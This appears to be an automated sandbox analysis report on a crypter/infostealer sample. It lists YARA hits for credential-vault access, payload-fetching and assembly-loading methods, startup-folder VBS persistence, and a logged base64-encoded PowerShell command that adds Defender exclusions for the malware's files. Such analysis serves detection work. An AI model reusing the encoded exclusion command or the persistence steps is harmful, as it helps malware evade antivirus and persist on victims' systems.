Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, SKTzxzsJw.cs

.Net Code: sf6jJs8S

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.page.exe.3b39550.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.page.exe.3b39550.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 8.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_066FA778 NtResumeThread,		17_2_066FA778
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_066FA770 NtResumeThread,		17_2_066FA770

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Code function: 0_2_0108EBD8	0_2_0108EBD8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Code function: 0_2_0108AA18	0_2_0108AA18
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Code function: 0_2_0108AA28	0_2_0108AA28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Code function: 0_2_0108AFB8	0_2_0108AFB8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035BB498	5_2_035BB498
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_035BB488	5_2_035BB488
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_010A9370	8_2_010A9370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_010A9B30	8_2_010A9B30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_010A4A90	8_2_010A4A90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_010ACDA8	8_2_010ACDA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_010A3E78	8_2_010A3E78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_010A41C0	8_2_010A41C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B56E0	8_2_060B56E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B3F50	8_2_060B3F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060BBD08	8_2_060BBD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060BDD18	8_2_060BDD18
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B9AE8	8_2_060B9AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B2B00	8_2_060B2B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B8BA0	8_2_060B8BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B0040	8_2_060B0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B3250	8_2_060B3250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 8_2_060B5000	8_2_060B5000
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0291EBD8	17_2_0291EBD8
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0291AA18	17_2_0291AA18
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0291AA28	17_2_0291AA28
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0291AFB8	17_2_0291AFB8
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0291AFA8	17_2_0291AFA8
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_066F3488	17_2_066F3488
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_066F3478	17_2_066F3478
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0674F6F0	17_2_0674F6F0
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0674F400	17_2_0674F400
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0674DE80	17_2_0674DE80
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_0674E3B0	17_2_0674E3B0
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_06730040	17_2_06730040
Source: C:\Users\user\AppData\Roaming\page.exe	Code function: 17_2_06730013	17_2_06730013
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_0575CDB0	24_2_0575CDB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_05753E80	24_2_05753E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_05759B38	24_2_05759B38
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_05754A98	24_2_05754A98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_057541C8	24_2_057541C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F56E0	24_2_067F56E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F3F50	24_2_067F3F50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F8C31	24_2_067F8C31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067FBD08	24_2_067FBD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067FDD08	24_2_067FDD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F9AE8	24_2_067F9AE8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F2B00	24_2_067F2B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F0040	24_2_067F0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F323B	24_2_067F323B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Code function: 24_2_067F5000	24_2_067F5000

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1227196476.0000000006A00000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003DA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename7e5bb978-3a35-43a5-95fe-dd44d69d6a5a.exe4 vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1202550235.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000000.830831212.0000000000912000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameNijmf.exe, vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003CDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003CDC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNijmf.exe, vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1221511799.0000000005FB0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameprotobuf-net.dllJ vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003BC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameNijmf.exe, vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1213492096.0000000003BC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameMicrosoft.Win32.TaskScheduler.dll\ vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1218816423.0000000005C90000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameOunvytr.dll" vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, 00000000.00000002.1204012379.0000000002BEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe
Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Binary or memory string: OriginalFilenameNijmf.exe, vs SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.page.exe.3b39550.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 17.2.page.exe.3b39550.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 8.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, Jtxsqij.cs	Cryptographic APIs: 'CreateDecryptor'
Source: page.exe.0.dr, Jtxsqij.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, 4JJG6X.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, 8C78isHTVco.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3eb5000.4.raw.unpack, CqSP68Ir.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, ITaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, TaskFolder.cs	Task registration methods: 'RegisterTaskDefinition', 'RegisterTask', 'CreateFolder'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, Task.cs	Task registration methods: 'RegisterChanges', 'CreateTask'
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, TaskService.cs	Task registration methods: 'CreateFromToken'

Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, User.cs	Security API names: System.Security.Principal.SecurityIdentifier.Translate(System.Type)
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, Task.cs	Security API names: Microsoft.Win32.TaskScheduler.Task.GetAccessControl(System.Security.AccessControl.AccessControlSections)
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, TaskSecurity.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskSecurity.GetAccessControlSectionsFromChanges()
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, TaskSecurity.cs	Security API names: System.Security.AccessControl.CommonObjectSecurity.AddAccessRule(System.Security.AccessControl.AccessRule)
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, TaskPrincipal.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, TaskFolder.cs	Security API names: Microsoft.Win32.TaskScheduler.TaskFolder.GetAccessControl(System.Security.AccessControl.AccessControlSections)

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, Jtxsqij.cs	Suspicious method names: .Jtxsqij.FetchPayloadAsync
Source: page.exe.0.dr, Jtxsqij.cs	Suspicious method names: .Jtxsqij.FetchPayloadAsync
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3d2b730.0.raw.unpack, Jtxsqij.cs	Suspicious method names: .Jtxsqij.FetchPayloadAsync

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5692:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6752:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7292:120:WilError_03

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\page.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\page.exe "C:\Users\user\AppData\Roaming\page.exe"
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGYAcgBvAG4AdABkAGUAcwBrAFwARABlAHMAawB0AG8AcABcAFMAZQBjAHUAcgBpAHQAZQBJAG4AZgBvAC4AYwBvAG0ALgBXAGkAbgAzADIALgBDAHIAeQBwAHQAZQByAFgALQBnAGUAbgAuADIANQAzADcAOAAuADcANQA4ADYALgBlAHgAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABDADoAXABVAHMAZQByAHMAXABmAHIAbwBuAHQAZABlAHMAawBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAcABhAGcAZQAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZgByAG8AbgB0AGQAZQBzAGsAXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAHAAYQBnAGUALgBlAHgAZQA=	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Roaming\page.exe "C:\Users\user\AppData\Roaming\page.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /release
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Roaming\page.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c ipconfig /renew
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /release
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /renew

Source: SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe, Yjblsmrc.cs	.Net Code: Hjqzab System.AppDomain.Load(byte[])
Source: page.exe.0.dr, Yjblsmrc.cs	.Net Code: Hjqzab System.AppDomain.Load(byte[])
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.6a00000.10.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5fb0000.9.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5fb0000.9.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5fb0000.9.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5fb0000.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5fb0000.9.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.3d2b730.0.raw.unpack, Yjblsmrc.cs	.Net Code: Hjqzab System.AppDomain.Load(byte[])

Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5f40000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.SecuriteInfo.com.Win32.CrypterX-gen.25378.7586.exe.5f40000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000011.00000002.1588133995.0000000002B5F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1607423851.0000000003D0B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1213492096.0000000003C84000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
